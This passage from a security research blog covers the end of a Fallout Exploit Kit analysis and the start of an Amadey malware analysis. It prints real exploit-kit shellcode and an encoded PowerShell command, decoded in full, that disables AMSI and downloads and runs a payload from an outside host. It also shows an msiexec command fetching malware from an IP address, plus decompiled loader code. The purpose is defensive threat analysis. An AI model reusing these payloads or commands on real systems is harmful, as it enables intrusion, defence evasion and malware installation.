u3D18%u0309%u0F05%u1174%uEC3D%u1803%u7416%u3D0A%u044B%u19F3%u0374%uC033%u33C3%u40C0%u55C3%uEC8B%uEC81%u013C%u0000%u418B%u5308%u5756%uFA8B%uDB33%u518B%u890C%uF855%u518B%u8B10%u1449%u6A53%u8902%uFC55%u4D89%uFFF4%u8BD0%u83F0%uFFFE%u4074%u858D%uFEC8%uFFFF%u85C7%uFEC8%uFFFF%u0128%u0000%u5650%u55FF%u85F8%u74C0%u8D27%uEC8D%uFFFE%uE8FF%uFF6F%uFFFF%uC085%u1575%u858D%uFEC8%uFFFF%u5650%u55FF%u85FC%u75C0%u56E2%u55FF%uEBF4%u3303%u43DB%u1F89%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u5756%uC033%uF98B%u3340%u53C9%uA20F%uF38B%u8D5B%uF05D%u0389%u7389%u8904%u084B%u5389%u8B0C%uF845%uE8C1%u891F%u5F07%u5B5E%uC3C9%u8B55%u81EC%u04EC%u0001%u5300%u3356%u57F6%uC68B%u8488%uFC05%uFFFE%u40FF%u003D%u0001%u7200%u8BF1%u8BDE%u8BFE%u8AF1%u3D94%uFEFC%uFFFF%uC78B%uE083%u0F07%uCAB6%uB60F%u3004%uC303%uC803%uB60F%u8AD9%u1D84%uFEFC%uFFFF%u8488%uFC3D%uFFFE%u47FF%u9488%uFC1D%uFFFE%u81FF%u00FF%u0001%u7200%u8BC8%u0C7D%uF633%uDE8B%uFF85%u5574%u458B%u8908%u0C45%u438D%u0F01%uD8B6%u948A%uFC1D%uFFFE%u0FFF%uC2B6%uC603%uB60F%u8AF0%u3584%uFEFC%uFFFF%u8488%uFC1D%uFFFE%u88FF%u3594%uFEFC%uFFFF%uB60F%u1D8C%uFEFC%uFFFF%uB60F%u03C2%u8BC8%u0C45%uB60F%u8AC9%u0D8C%uFEFC%uFFFF%u0830%u8940%u0C45%uEF83%u7501%u8BB1%u0845%u5E5F%uC95B%u55C3%uEC8B%uEC83%u8B48%u1C45%u4D89%u53F4%u8B56%u8B08%u0870%u4D89%u8BF8%u0448%u4D89%u8BF0%u0C48%u4D89%u8BE8%u1048%u4D89%u8BE0%u1448%u4D89%u8BD8%u1848%u458B%u5714%u046A%u5589%u8BEC%u1850%u4D89%u8BC8%u2448%u458B%u6818%u1000%u0000%u046A%u006A%u388B%u5589%u89D4%uFC4D%u7D89%uFFD0%u6AD2%u8B04%u6AD8%u5300%u5D89%uFFE4%u83D7%u207D%u8D00%u1445%u046A%u5350%u1875%u7D83%u0024%u0975%u45C7%uC614%u90EA%uEB2A%uC71D%u1445%uF9D7%u2A90%u14EB%u7D83%u0024%u45C7%uD214%u90EB%u752A%uC707%u1445%uE4D2%u2A90%u29E8%uFFFC%u8BFF%u084D%u458D%u83C0%u0CC4%u45C7%uF4C0%uDBBC%uC770%uC445%uE14D%u1989%u086A%uE850%uFE76%uFFFF%u5959%uDB33%u458D%u53C0%u5353%u5053%u55FF%u8BF8%u85F8%u75FF%u8B0A%u1045%u1889%u23E9%u0001%u5300%u6A53%u5303%u6853%u01BB%u0000%u75FF%u57F4%u55FF%u8BF0%u89D8%u145D%uDB85%u840F%u00FB%u0000%u4D8B%u8D08%uB845%u086A%uC750%uB845%uC6E5%u1DB0%u45C7%u7CBC%uB9D1%uE819%uFE1C%uFFFF%u5959%uC033%u6850%u3000%u8080%u5050%uFF50%uEC75%u458D%u50B8%uFF53%uE855%uD88B%uDB85%u840F%u00B8%u0000%u046A%u75FF%u6AE4%u6A00%u5300%u55FF%u85E0%u0FC0%uA084%u0000%u8300%u1C65%u8D00%uDC45%u6583%u00DC%u8D50%u1845%u45C7%u0418%u0000%u5000%u458D%u501C%u0568%u0000%u5320%u55FF%u83D8%u187D%u7400%u8376%u1C7D%u7400%u6A70%u6804%u1000%u0000%u75FF%u6A1C%uFF00%uD455%u75FF%u8B1C%u0C4D%u006A%u8950%uFF01%uD055%u6583%u00CC%u458D%u50CC%u458B%uFF0C%u1C75%u30FF%uFF53%uC855%uFF53%uFFD6%u1475%uD6FF%uFF57%u83D6%u207D%u8B00%uFC75%u0474%u006A%uD6FF%u7D83%u0024%u0474%u006A%uD6FF%u458B%uFF0C%u1C75%u4D8B%uFF08%uE830%uFD52%uFFFF%u458B%u5910%uC759%u0100%u0000%uEB00%u5311%uD6FF%u75FF%uFF14%u57D6%uD6FF%u458B%u8310%u0020%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u8B56%u8BF1%u57DA%u7589%uE8FC%uFBF7%uFFFF%uF88B%u43BA%u1C04%u8B19%uE8CF%uFB83%uFFFF%u368B%u75BA%uB905%u8B28%u89CF%u1446%u72E8%uFFFB%u8BFF%uFC75%u51BA%u3209%u8B73%u890E%u1C41%uCF8B%u5EE8%uFFFB%u8BFF%uBA0E%u0614%u33F5%u4189%u8B08%uE8CF%uFB4D%uFFFF%u0E8B%u97BA%u8104%u891D%u8B01%uE8CF%uFB3D%uFFFF%u0E8B%u4DBA%u8505%u8927%u0441%uCF8B%u2CE8%uFFFB%u8BFF%uBA0E%u04E4%u2259%u4189%u8B0C%uE8CF%uFB1B%uFFFF%u0E8B%uD3BA%u7004%u891F%u1041%uCF8B%u0AE8%uFFFB%u8BFF%uBA0E%u047A%u1A1E%u4189%u8B18%uE8CF%uFAF9%uFFFF%u0E8B%uF3BA%u8503%u8915%u2041%uCF8B%uE8E8%uFFFA%u8BFF%u890E%u2441%u58E8%uFFFB%uBAFF%u028C%u08D8%uC88B%uD2E8%uFFFA%u8BFF%u6A0B%u890C%u8D01%uF045%u4D8B%u500C%u45C7%uC2F0%u8DE0%uC720%uF445%uB412%u37CD%u45C7%uEFF8%uF16B%uE8A4%uFC34%uFFFF%u5959%u0E8B%u558D%uE8F0%uFB2B%uFFFF%uF88B%u5DBA%u1006%u8B36%uE8CF%uFA91%uFFFF%u758B%uBA08%u0584%u29FB%u0E8B%u4189%u8B0C%uE8CF%uFA7D%uFFFF%u0E8B%u55BA%uC706%u8935%u1441%uCF8B%u6CE8%uFFFA%u8BFF%uBA0E%u078C%u4B92%u4189%u8B10%uE8CF%uFA5B%uFFFF%u0E8B%u55BA%u6406%u8936%u0841%uCF8B%u4AE8%uFFFA%u8BFF%uBA0E%u051D%u245C%u4189%u8B04%uE8CF%uFA39%uFFFF%u0E8B%u46BA%uC006%u8935%u8B01%uE8CF%uFA29%uFFFF%u0E8B%u5E5F%u895B%u1841%uC3C9%uECD7%u2182%uA319%u2DD6%u29FE%uCBFE%u5CE9%uB27D%u501A%uCF26%u6A47%u54FE%uDABA%u8A85%uEF83%u3361%u09D1%u20F7%u16EC%uD9B7%u917A%uDE1A%u2281%uEA7F%u3143%u6ACE%u1A52%u4FF4%u500B%uC276%u5A57%uC1F8%uE09A%u258F%uA209%u6BCD%u28EE%uE3E7%u2FD5%u8D28%u3568%uAE4A%u0623%u309B%u8E87%uE4E0%u8EF7%u5F02%u7AB4%u73DA%u7483%uB0D2%uBC0E%uB049%u40EE%u8610%u7665%u07AF%u7330%u3C80%u6436%uF745%u5A61%uC1F8%uBBE2%u5581%uF71D%u00A7%u7F8D%u4907%u11AF%uB565%uF4E6%u755E%u19EE%u23AF%u8DB6%uEB89%u2838%u11BF%uC109%u1219%uD17E%uBEEA%uDD49%uF759%u09D6%uEA08%u8E45%uB602%u1B93%u19C4%u9146%uB94D%u9E6C%u0BC7%u00E8%u0000%u5800%uE883%u2D05%u00C0%u0000%u00C3" &amp;lIIII(IIIII(""))) IIlI=IIlI &amp; String((&amp;h80000-LenB(IIlI))/2,Unescape("%u4141")) GetShellcode=IIlI End Function Let’s read shellcode. Shellcode The decoding algorithm in the shellcode has not changed from v3 and remains RC4. Analysis of Fallout Exploit Kit v3 The hash algorithm of API hash has not changed either. API hashed by the dualaccModFFF1Hash algorithm. unsigned int __thiscall dualaccModFFF1Hash(unsigned __int8 *this) { unsigned __int8 *v1; // ebx int v2; // edi unsigned int v3; // esi int i; // ecx unsigned int v5; // edx v1 = this; v2 = 1; v3 = 0; for ( i = zz_count(this); i; --i ) { v5 = (v2 + (unsigned int)*v1++) % 0xFFF1; v2 = v5; v3 = (v3 + v5) % 0xFFF1; } return v2 + (v3 &lt;&lt; 16); } However, there were interesting changes. Analysis environment detection codes has been added in shellcode. VM Detection Query hypervisor precense using CPUID. unsigned int __thiscall zz_vm_detect(unsigned int *this) { unsigned int *v1; // edi unsigned int result; // eax v1 = this; _EAX = 1; __asm { cpuid } result = _ECX &gt;&gt; 31; *v1 = _ECX &gt;&gt; 31; return result; } Process Detection Get a list of running processes. Convert process name to lower case. int __cdecl zz_tolowercase(_BYTE *a1) { int result; // eax while ( 1 ) { result = (char)*a1; if ( !*a1 ) break; if ( (char)*a1 &gt;= 65 &amp;&amp; (char)*a1 &lt;= 90 ) *a1 += 32; ++a1; } return result; } Compare to the following hashes. Once again, It uses the dualaccModFFF1Hash algorithm. 0x3F5406DE 0x25CD0541 0x0F050309 0x161803EC 0x19F3044B Two process names were identified. I do not know the others. &gt;&gt;&gt; hex(dualaccModFFF1Hash("wireshark.exe")) '0x25cd0541' &gt;&gt;&gt; hex(dualaccModFFF1Hash("fiddler.exe")) '0x19f3044b' Like v3, shellcode downloads, decodes and executes encrypted PowerShell code. PowerShell The PowerShell code to be executed is like this. powershell.exe -w hidden -noni -enc dAByAHkAewAkAGwAMQBJAGwAMQA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQA7ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAD0AJABsADEASQBsADEALgBHAGUAdABUAHkAcABlACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFUAMwBsAHoAZABHAFYAdABMAGsAMQBoAGIAbQBGAG4AWgBXADEAbABiAG4AUQB1AFEAWABWADAAYgAyADEAaABkAEcAbAB2AGIAaQA1AEIAYgBYAE4AcABWAFgAUgBwAGIASABNAD0AJwApACkAKQA7ACQASQAxAEkAbAAxADEAbAAxAEkAbAA9ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAC4ARwBlAHQARgBpAGUAbABkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFkAVwAxAHoAYQBVAGwAdQBhAFgAUgBHAFkAVwBsAHMAWgBXAFEAPQAnACkAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAkAEkAMQBJAGwAMQAxAGwAMQBJAGwALgBTAGUAdABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AH0AYwBhAHQAYwBoAHsAfQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAIgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAEkAbABJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbABJAGwAMQBJADEASQBJADEAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAEkASQBsAEkASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbAAxADEAMQBsAEkAbAAxAEkAMQBJADsAfQBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABsAEkAMQBsAGwAMQBJAGwAMQBJADEAbAB7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAGwASQA7AHAAdQBiAGwAaQBjACAAcwB0AHIAaQBuAGcAIABJAGwAMQBsADEAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAAbABJADEAbABsADsAcAB1AGIAbABpAGMAIABzAHQAcgBpAG4AZwAgAEkAbAAxADEAMQBJAEkASQBsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQAxAGwASQBsADEAbABsADEASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbABJAEkASQBsADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAGwAMQAxAEkAbABsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBsADEASQBsAEkAbAAxADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJAGwASQBJAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAEkAMQBsAEkAbABJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJADEAbAAxADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJAGwAbAAxAEkAbAA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAASQBsAEkASQAxADsAcAB1AGIAbABpAGMAIABzAGgAbwByAHQAIABJAGwAbABJAGwAbAA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABsAGwASQBsAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbAAxAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbABJAGwAbABsAEkAMQBJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAASQAxAEkASQBJADsAfQA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABsADEASQBsADEAMQBJAEkASQB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoAHMAdAByAGkAbgBnACAASQBJAGwASQBJAEkALABzAHQAcgBpAG4AZwAgAEkAbABJAGwASQAsAEkAbgB0AFAAdAByACAASQAxADEAbAAxAEkALABJAG4AdABQAHQAcgAgAGwAMQBsAEkAMQAsAGIAbwBvAGwAIABJAGwASQAxADEASQBJADEAMQAxADEALAB1AGkAbgB0ACAAbAAxADEAMQBJACwASQBuAHQAUAB0AHIAIABsAEkASQBJADEASQBsAGwASQAsAHMAdAByAGkAbgBnACAASQAxAEkAbAAxAGwASQAsAHIAZQBmACAAbABJADEAbABsADEASQBsADEASQAxAGwAIABsAGwAMQAxAEkASQBsADEASQAsAG8AdQB0ACAASQAxAGwASQBJADEASQBsADEAIABsAEkASQAxAEkASQApADsAfQAiADsAJABsAGwAbAAxAEkAbABsAEkAMQA9ACIAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwATABvAHcAXAAkACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwApACsAKAA2ADUALgAuADkAMAApACsAKAA5ADcALgAuADEAMgAyACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4AHwAJQB7AFsAYwBoAGEAcgBdACQAXwB9ACkAKQAuAHQAbQBwACIAOwAkAEkAMQBsADEAMQBJADEAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAGEAaABlAHIAbwA0AHUALgBjAG8AbQAvADEAOQA1ADAALQAwADEALQAxADEALwBPADgAWgByACcAOwBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASgBHAE4AcwBhAFQAMABvAFQAbQBWADMATABVADkAaQBhAG0AVgBqAGQAQwBCAE8AWgBYAFEAdQBWADIAVgBpAFEAMgB4AHAAWgBXADUAMABLAFQAcwBrAFkAMgB4AHAATABrAGgAbABZAFcAUgBsAGMAbgBOAGIASgAxAFYAegBaAFgASQB0AFEAVwBkAGwAYgBuAFEAbgBYAFQAMABuAFMAagBVADMAVQBEAGwANQBNAFcAawB6AE0ARQAwAHgATQBEAEoAWQBOAFMAYwA3AEoARwBOAHMAYQBTADUARQBiADMAZAB1AGIARwA5AGgAWgBFAFoAcABiAEcAVQBvAEoARQBrAHgAYgBEAEUAeABTAFQARQBzAEoARwB4AHMAYgBEAEYASgBiAEcAeABKAE0AUwBrADcAJwApACkAfABpAGUAeAA7ACQASQAxAEkAMQBsADEASQBJAGwAbABJADEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbABJADEAbABsADEASQBsADEASQAxAGwAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBsAEkASQAxAD0AMAB4ADAAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBJAEkAbABJAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACkAOwAkAEkASQBsADEASQBsADEASQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQA7AFsAbAAxAEkAbAAxADEASQBJAEkAXQA6ADoAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoACQAbABsAGwAMQBJAGwAbABJADEALAAkAGwAbABsADEASQBsAGwASQAxACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAJABmAGEAbABzAGUALAAwAHgAMAAwADAAMAAwADAAMAA4ACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAIgBjADoAIgAsAFsAcgBlAGYAXQAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACwAWwByAGUAZgBdACQASQBJAGwAMQBJAGwAMQBJACkAfABvAHUAdAAtAG4AdQBsAGwAOwA= Let’s decode and clean. try { $l1Il1 = [Ref].Assembly; $l1Il1lI1IIl = $l1Il1.GetType("System.Management.Automation.AmsiUtils"); $I1Il11l1Il = $l1Il1lI1IIl.GetField("amsiInitFailed", 'NonPublic,Static'); $I1Il11l1Il.SetValue($null, $true); } catch { }; Add-Type -TypeDefinition "using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct I1lII1Il1{public IntPtr IIlI1;public IntPtr lIl1I1II1l;public uint IIIIIlII;public uint Il111lIl1I1I;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct lI1ll1Il1I1l{public uint IIIlI;public string Il1l1;public string lI1ll;public string Il111IIIl;public uint I1lIl1ll1I;public uint IlIIIl1;public uint ll11Ill;public uint Il1IlIl1;public uint lIlIII;public uint lI1lIlI;public uint lI1l11;public uint Ill1Il;public short IlII1;public short IllIll;public IntPtr llIlIlIlI;public IntPtr Ill1IlIlI;public IntPtr IllIlllI1I1;public IntPtr I1III;};public static class l1Il11III{[DllImport(""kernel32.dll"",SetLastError=true)]public static extern bool CreateProcess(string IIlIII,string IlIlI,IntPtr I11l1I,IntPtr l1lI1,bool IlI11II1111,uint l111I,IntPtr lIII1IllI,string I1Il1lI,ref lI1ll1Il1I1l ll11IIl1I,out I1lII1Il1 lII1II);}"; $lll1IllI1 = "$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp"; $I1l11I1 = 'http://beahero4u.com/1950-01-11/O8Zr'; $cli = (New-Object Net.WebClient); $cli.Headers['User-Agent'] = 'J57P9y1i30M102X5'; $cli.DownloadFile($I1l11I1, $lll1IllI1); $I1I1l1IIllI1 = New-Object lI1ll1Il1I1l; $I1I1l1IIllI1.IlII1 = 0x0; $I1I1l1IIllI1.IIIlI = [System.Runtime.InteropServices.Marshal]::SizeOf($I1I1l1IIllI1); $IIl1Il1I = New-Object I1lII1Il1; [l1Il11III]::CreateProcess($lll1IllI1, $lll1IllI1, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0x00000008, [IntPtr]::Zero, "c:", [ref]$I1I1l1IIllI1, [ref]$IIl1Il1I) | out-null; Thus the malware is downloaded and executed. Conclusion Fallout has been heavily updated, making analysis very difficult. Very sophisticated techniques such as Diffie-Hellman key exchange, VM detection, process detection, etc. are used. We need to be careful as they may be updated in the future.]]></summary></entry><entry><title type="html">Analyzing Amadey</title><link href="http://nao-sec.org/2019/04/Analyzing-amadey.html" rel="alternate" type="text/html" title="Analyzing Amadey" /><published>2019-04-27T15:00:00+00:00</published><updated>2019-04-27T15:00:00+00:00</updated><id>http://nao-sec.org/2019/04/Analyzing-amadey</id><content type="html" xml:base="http://nao-sec.org/2019/04/Analyzing-amadey.html"><![CDATA[<h2 id="initial-access">Initial Access</h2>

<p>Amedey is installed by msiexec.exe when you open a malicious excel file.
From the document file technique, the threat actor is considered TA505.</p>

<ul>
  <li><a href="https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/">Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently</a></li>
  <li><a href="https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware">Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware</a></li>
</ul>

<p><img src="https://nao-sec.org/assets/2019-04-28/01.jpg" width="100%" />
https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784</p>

<p>The download URL is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'
</code></pre></div></div>

<h2 id="first-payload">First payload</h2>

<p>First payload is packed.
Extract the original PE using the hollows_hunter mode of tknk_scanner.</p>

<p><img src="https://nao-sec.org/assets/2019-04-28/02.jpg" width="100%" /></p>

<h2 id="amadey">Amadey</h2>

<p>The dumped PE is compiled with MinGW.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PE: compiler: MinGW(-)[-]
PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32]
</code></pre></div></div>

<p>It contains symbol information.
Amedey has the following functions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>_Z10aBypassUACv    
_Z10aCharToIntPc
_Z10aGetOsArchv    
_Z10aIntToChari    
_Z11aAutoRunSetPc
_Z11aCheckAdminv    
_Z11aCreateFilePc    
_Z11aFileExistsPKc    
_Z11aGetTempDirv    
_Z11aProcessDllPcS_
_Z11aProcessExePcS_S_S_    
_Z11aRunAsAdminPc    
_Z12aGetHostNamev    
_Z12aGetSelfPathv    
_Z12aGetUserNamev    
_Z12aProcessTaskPc    
_Z12aResolveHostPc    
_Z12aWinSockPostPcS_S_
_Z13aDropToSystemPc    
_Z13aGetProcessILv    
_Z14aCreateProcessPc    
_Z14aGetProgramDirv    
_Z15aUrlMonDownloadPcS_    
_Z16aDirectoryExistsPc    
_Z16aExtractFileNamePc    
_Z16aGetHomeDriveDirv    
_Z16aProcessDllLocalPcS_S_S_    
_Z16aProcessExeLocalPcS_S_S_    
_Z19aGetSelfDestinationi    
_Z5aCopyPcii    
_Z5aParsPcS_    
_Z6aBasici    
_Z6aGetIdv    
_Z6aGetOsv    
_Z6aMkDirPc    
_Z7aPathAVPc    
_Z7aRaportPcS_    
_Z8aCheckAVv    
_Z8aDecryptPc    
_Z8aPosLastPcS_    
_Z9aCopyFilePcS_    
_Z9aFileSizePc    
_Z9aFillCharPc    
_Z9aFreeFilePc    
_Z9aPosFirstPcS_    
_Z9aRunDll32PcS_
</code></pre></div></div>

<p>The main function is as follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">_Argc</span><span class="p">,</span><span class="kt">char</span> <span class="o">**</span><span class="n">_Argv</span><span class="p">,</span><span class="kt">char</span> <span class="o">**</span><span class="n">_Env</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">pcVar1</span><span class="p">;</span>
  
                    <span class="cm">/* 0x3ac8  97  main */</span>
  <span class="n">FUN_00404020</span><span class="p">();</span>
  <span class="n">FUN_00403cc0</span><span class="p">();</span>
  <span class="n">_Z10aBypassUACv</span><span class="p">();</span>
  <span class="n">pcVar1</span> <span class="o">=</span> <span class="n">_Z12aGetSelfPathv</span><span class="p">();</span>
  <span class="n">_Z13aDropToSystemPc</span><span class="p">(</span><span class="n">pcVar1</span><span class="p">);</span>
  <span class="n">pcVar1</span> <span class="o">=</span> <span class="n">_Z19aGetSelfDestinationi</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">_Z11aAutoRunSetPc</span><span class="p">(</span><span class="n">pcVar1</span><span class="p">);</span>
  <span class="n">_Z6aBasici</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The _Z6aBasici function is as follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */</span>

<span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">_Z6aBasici</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_Source</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
  
                    <span class="cm">/* 0x33fe  32  _Z6aBasici */</span>
  <span class="n">FUN_00404020</span><span class="p">();</span>
  <span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">);</span>
  <span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffddf4</span><span class="p">);</span>
  <span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffdbf4</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aDomain</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffddf4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aScript</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffdbf4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam0</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z6aGetIdv</span><span class="p">();</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam1</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aVers</span><span class="p">);</span>
